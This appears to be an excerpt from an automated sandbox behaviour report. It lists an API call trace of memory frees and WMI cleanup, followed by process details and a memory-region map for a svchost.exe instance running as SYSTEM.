[0149.441] free (_Block=0x2cc980) [0149.441] free (_Block=0x2cca00) [0149.441] free (_Block=0x2cc9a0) [0149.441] free (_Block=0x2ccd20) [0149.441] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0149.442] free (_Block=0x2c6d20) [0149.442] free (_Block=0x2c6d50) [0149.442] free (_Block=0x2c6d90) [0149.442] free (_Block=0x2cc940) [0149.442] free (_Block=0x2c7f60) [0149.442] free (_Block=0x2c62b0) [0149.443] free (_Block=0x2c6300) [0149.443] free (_Block=0x2cca40) [0149.443] free (_Block=0x2c63c0) [0149.443] free (_Block=0x2c6b40) [0149.443] free (_Block=0x2c8080) [0149.443] free (_Block=0x2c6b20) [0149.444] free (_Block=0x2c8040) [0149.444] free (_Block=0x2c6700) [0149.444] free (_Block=0x2c8000) [0149.444] free (_Block=0x2c65e0) [0149.445] free (_Block=0x2c6600) [0149.445] free (_Block=0x2c6580) [0149.445] free (_Block=0x2c65a0) [0149.445] free (_Block=0x2c6640) [0149.446] free (_Block=0x2c6660) [0149.446] free (_Block=0x2c66a0) [0149.446] free (_Block=0x2c66c0) [0149.446] free (_Block=0x2c64c0) [0149.447] free (_Block=0x2c64e0) [0149.447] free (_Block=0x2c6460) [0149.447] free (_Block=0x2c6480) [0149.447] free (_Block=0x2c6520) [0149.448] free (_Block=0x2c6540) [0149.448] free (_Block=0x2c6400) [0149.448] free (_Block=0x2c6420) [0149.448] free (_Block=0x2c6380) [0149.449] free (_Block=0x2c6350) [0149.449] free (_Block=0x2c6bf0) [0149.449] WbemObjectTextSrc:IUnknown:Release (This=0x3b93c0) returned 0x0 [0149.449] IUnknown:Release (This=0x3b8510) returned 0x0 [0149.449] WbemLocator:IUnknown:Release (This=0x33cba0) returned 0x2 [0149.450] WbemLocator:IUnknown:Release (This=0x3a65d0) returned 0x0 [0149.464] WbemLocator:IUnknown:Release (This=0x3a64b0) returned 0x0 [0149.465] WbemLocator:IUnknown:Release (This=0x33cba0) returned 0x1 [0149.465] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0149.465] WbemLocator:IUnknown:Release (This=0x33cba0) returned 0x0 [0149.465] free (_Block=0x2cc800) [0149.465] free (_Block=0x2cc820) [0149.466] free (_Block=0x2c8580) [0149.466] free (_Block=0x2cc840) [0149.466] free (_Block=0x2cc860) [0149.467] free (_Block=0x2c85c0) [0149.467] free (_Block=0x2cc680) [0149.467] free (_Block=0x2cc6a0) [0149.467] free (_Block=0x2c8400) [0149.467] free (_Block=0x2cc6c0) [0149.467] free (_Block=0x2cc6e0) [0149.468] free (_Block=0x2c8440) [0149.468] free (_Block=0x2cc600) [0149.468] free (_Block=0x2cc620) [0149.469] free (_Block=0x2c8380) [0149.469] free (_Block=0x2cc640) [0149.470] free (_Block=0x2cc660) [0149.470] free (_Block=0x2c83c0) [0149.470] free (_Block=0x2cc780) [0149.471] free (_Block=0x2cc7a0) [0149.471] free (_Block=0x2c8500) [0149.472] free (_Block=0x2cc7c0) [0149.472] free (_Block=0x2cc7e0) [0149.473] free (_Block=0x2c8540) [0149.473] free (_Block=0x2cc580) [0149.474] free (_Block=0x2cc5a0) [0149.474] free (_Block=0x2c8300) [0149.475] free (_Block=0x2cc5c0) [0149.475] free (_Block=0x2cc5e0) [0149.476] free (_Block=0x2c8340) [0149.476] free (_Block=0x2cc700) [0149.476] free (_Block=0x2cc720) [0149.477] free (_Block=0x2c8480) [0149.481] free (_Block=0x2cc740) [0149.482] free (_Block=0x2cc760) [0149.482] free (_Block=0x2c84c0) [0149.482] free (_Block=0x2cc4c0) [0149.483] free (_Block=0x2cc4e0) [0149.483] free (_Block=0x2c8240) [0149.483] free (_Block=0x2cc380) [0149.484] free (_Block=0x2cc3a0) [0149.484] free (_Block=0x2c8100) [0149.485] free (_Block=0x2c6bb0) [0149.485] free (_Block=0x2c6bd0) [0149.485] free (_Block=0x2c80c0) [0149.486] free (_Block=0x2cc400) [0149.486] free (_Block=0x2cc420) [0149.486] free (_Block=0x2c8180) [0149.487] free (_Block=0x2cc500) [0149.487] free (_Block=0x2cc520) [0149.487] free (_Block=0x2c8280) [0149.488] free (_Block=0x2cc3c0) [0149.488] free (_Block=0x2cc3e0) [0149.489] free (_Block=0x2c8140) [0149.489] free (_Block=0x2cc440) [0149.489] free (_Block=0x2cc460) [0149.490] free (_Block=0x2c81c0) [0149.503] free (_Block=0x2cc480) [0149.503] free (_Block=0x2cc4a0) [0149.503] free (_Block=0x2c8200) [0149.504] free (_Block=0x2cc540) [0149.504] free (_Block=0x2cc560) [0149.504] free (_Block=0x2c82c0) [0149.505] CoUninitialize () [0149.505] DllCanUnloadNow () returned 0x0 [0149.548] free (_Block=0x2ce120) [0149.548] ??3@YAXPEAX@Z () returned 0x32005b002e0001 [0149.548] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.548] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.548] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.549] free (_Block=0x2c9ff0) [0149.638] exit (_Code=0) [0149.639] free (_Block=0x2c8600) [0149.640] free (_Block=0x2c7bf0) [0149.640] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0149.640] free (_Block=0x2c6ca0) [0149.640] free (_Block=0x2c63e0) [0149.641] free (_Block=0x2c7bb0) [0149.641] free (_Block=0x2c7b70) [0149.641] free (_Block=0x2c7b20) [0149.641] free (_Block=0x2c7ae0) [0149.641] free (_Block=0x2ccbf0) [0149.642] free (_Block=0x2c5ae0) [0149.642] free (_Block=0x2c7a60) [0149.642] free (_Block=0x1bdf90) [0149.643] free (_Block=0x2ccc30) [0149.643] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0149.643] free (_Block=0x2cc960) Thread: id = 10 os_tid = 0xfc0 Thread: id = 11 os_tid = 0xfc4 Thread: id = 12 os_tid = 0xfc8 Thread: id = 13 os_tid = 0xfcc Thread: id = 14 os_tid = 0xfd0 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x71b4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000da1c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1370 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1371 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 1372 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1373 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1374 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1375 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1376 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1377 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1378 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1379 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1380 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 1381 start_va = 0x210000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1382 start_va = 0x290000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 1383 start_va = 0x350000 end_va = 0x35afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 1384 start_va = 0x360000 end_va = 0x36cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1385 start_va = 0x370000 end_va = 0x373fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 1386 start_va = 0x380000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1387 start_va = 0x480000 end_va = 0x607fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1388 start_va = 0x610000 end_va = 0x619fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 1389 start_va = 0x620000 end_va = 0x620fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 1390 start_va = 0x630000 end_va = 0x631fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 1391 start_va = 0x640000 end_va = 0x643fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1392 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 1393 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 1394 start_va = 0x7f0000 end_va = 0x7f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 1395 start_va = 0x800000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000019.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db") Region: id = 1396 start_va = 0x830000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1397 start_va = 0x8b0000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 1398 start_va = 0x930000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 1399 start_va = 0x9b0000 end_va = 0x9b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1400 start_va = 0x9c0000 end_va = 0x9cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1401 start_va = 0x9d0000 end_va = 0x9d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 1402 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 1403 start_va = 0x9f0000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 1404 start_va = 0xa70000 end_va = 0xa8bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1405 start_va = 0xa90000 end_va = 0xa90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1406 start_va = 0xaa0000 end_va = 0xaa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 1407 start_va = 0xab0000 end_va = 0xab0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 1408 start_va = 0xac0000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1409 start_va = 0xb40000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 1410 start_va = 0xbc0000 end_va = 0xbc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 1411 start_va = 0xbd0000 end_va = 0xbd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 1412 start_va = 0xbe0000 end_va = 0xbf9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 1413 start_va = 0xc00000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1414 start_va = 0xc10000 end_va = 0xc10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 1415 start_va = 0xc20000 end_va = 0xc27fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1416 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 1417 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 1418 start_va = 0xc50000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 1419 start_va = 0xc60000 end_va = 0xc60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 1420 start_va = 0xc70000 end_va = 0xf3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1421 start_va = 0xf40000 end_va = 0xf40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 1422 start_va = 0xf50000 end_va = 0xf51fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 1423 start_va = 0xf60000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 1424 start_va = 0xfe0000 end_va = 0xfe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1425 start_va = 0xff0000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 1426 start_va = 0x1000000 end_va = 0x1007fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 1427 start_va = 0x1010000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 1428 start_va = 0x1090000 end_va = 0x110ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 1429 start_va = 0x1110000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 1430 start_va = 0x1120000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 1431 start_va = 0x1130000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 1432 start_va = 0x1140000 end_va = 0x1147fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 1433 start_va = 0x1150000 end_va = 0x115ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1434 start_va = 0x1160000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 1435 start_va = 0x11e0000 end_va = 0x11effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1436 start_va = 0x11f0000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 1437 start_va = 0x1200000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1438 start_va = 0x1210000 end_va = 0x128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 1439 start_va = 0x1290000 end_va = 0x129ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 1440 start_va = 0x12a0000 end_va = 0x12a7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 1441 start_va = 0x12b0000 end_va = 0x12bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 1442 start_va = 0x12c0000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 1443 start_va = 0x1340000 end_va = 0x13bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 1444 start_va = 0x13c0000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 1445 start_va = 0x1440000 end_va = 0x14a5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1446 start_va = 0x14b0000 end_va = 0x14b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1447 start_va = 0x14c0000 end_va = 0x14dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 1448 start_va = 0x14e0000 end_va = 0x14e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 1449 start_va = 0x14f0000 end_va = 0x14f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014f0000" filename = "" Region: id = 1450 start_va = 0x1500000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 1451 start_va = 0x1580000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001580000" filename = "" Region: id = 1452 start_va = 0x1590000 end_va = 0x159ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001590000" filename = "" Region: id = 1453 start_va = 0x15a0000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015a0000" filename = "" Region: id = 1454 start_va = 0x15b0000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015b0000" filename = "" Region: id = 1455 start_va = 0x15c0000 end_va = 0x15cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015c0000" filename = "" Region: id = 1456 start_va = 0x15d0000 end_va = 0x15dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015d0000" filename = "" Region: id = 1457 start_va = 0x15e0000 end_va = 0x15effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 1458 start_va = 0x15f0000 end_va = 0x166ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 1459 start_va = 0x1690000 end_va = 0x169ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1460 start_va = 0x16a0000 end_va = 0x171ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 1461 start_va = 0x1750000 end_va = 0x17cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 1462 start_va = 0x17d0000 end_va = 0x184ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 1463 start_va = 0x1860000 end_va = 0x18dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001860000" filename = "" Region: id = 1464 start_va = 0x1930000 end_va = 0x19affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 1465 start_va = 0x19d0000 end_va = 0x1a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 1466 start_va = 0x1a60000 end_va = 0x1adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a60000" filename = "" Region: id = 1467 start_va = 0x1ae0000 end_va = 0x1bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ae0000" filename = "" Region: id = 1468 start_va = 0x1be0000 end_va = 0x1cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001be0000" filename = "" Region: id = 1469 start_va = 0x1d10000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 1470 start_va = 0x1db0000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 1471 start_va = 0x1e30000 end_va = 0x1eeffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1472 start_va = 0x1f00000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 1473 start_va = 0x1f80000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 1474 start_va = 0x2010000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 1475 start_va = 0x2030000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 1476 start_va = 0x20c0000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 1477 start_va = 0x2170000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002170000" filename = "" Region: id = 1478 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 1479 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002280000" filename = "" Region: id = 1480 start_va = 0x2290000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002290000" filename = "" Region: id = 1481 start_va = 0x22a0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022a0000" filename = "" Region: id = 1482 start_va = 0x22b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022b0000" filename = "" Region: id = 1483 start_va = 0x22c0000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022c0000" filename = "" Region: id = 1484 start_va = 0x22d0000 end_va = 0x234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 1485 start_va = 0x2350000 end_va = 0x244ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002350000" filename = "" Region: id = 1486 start_va = 0x24b0000 end_va = 0x252ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 1487 start_va = 0x2530000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 1488 start_va = 0x25b0000 end_va = 0x25effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025b0000" filename = "" Region: id = 1489 start_va = 0x25f0000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025f0000" filename = "" Region: id = 1490 start_va = 0x26a0000 end_va = 0x271ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 1491 start_va = 0x2720000 end_va = 0x272ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 1492 start_va = 0x2730000 end_va = 0x282ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 1493 start_va = 0x2840000 end_va = 0x28bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 1494 start_va = 0x2960000 end_va = 0x29dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 1495 start_va = 0x2a00000 end_va = 0x2a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" 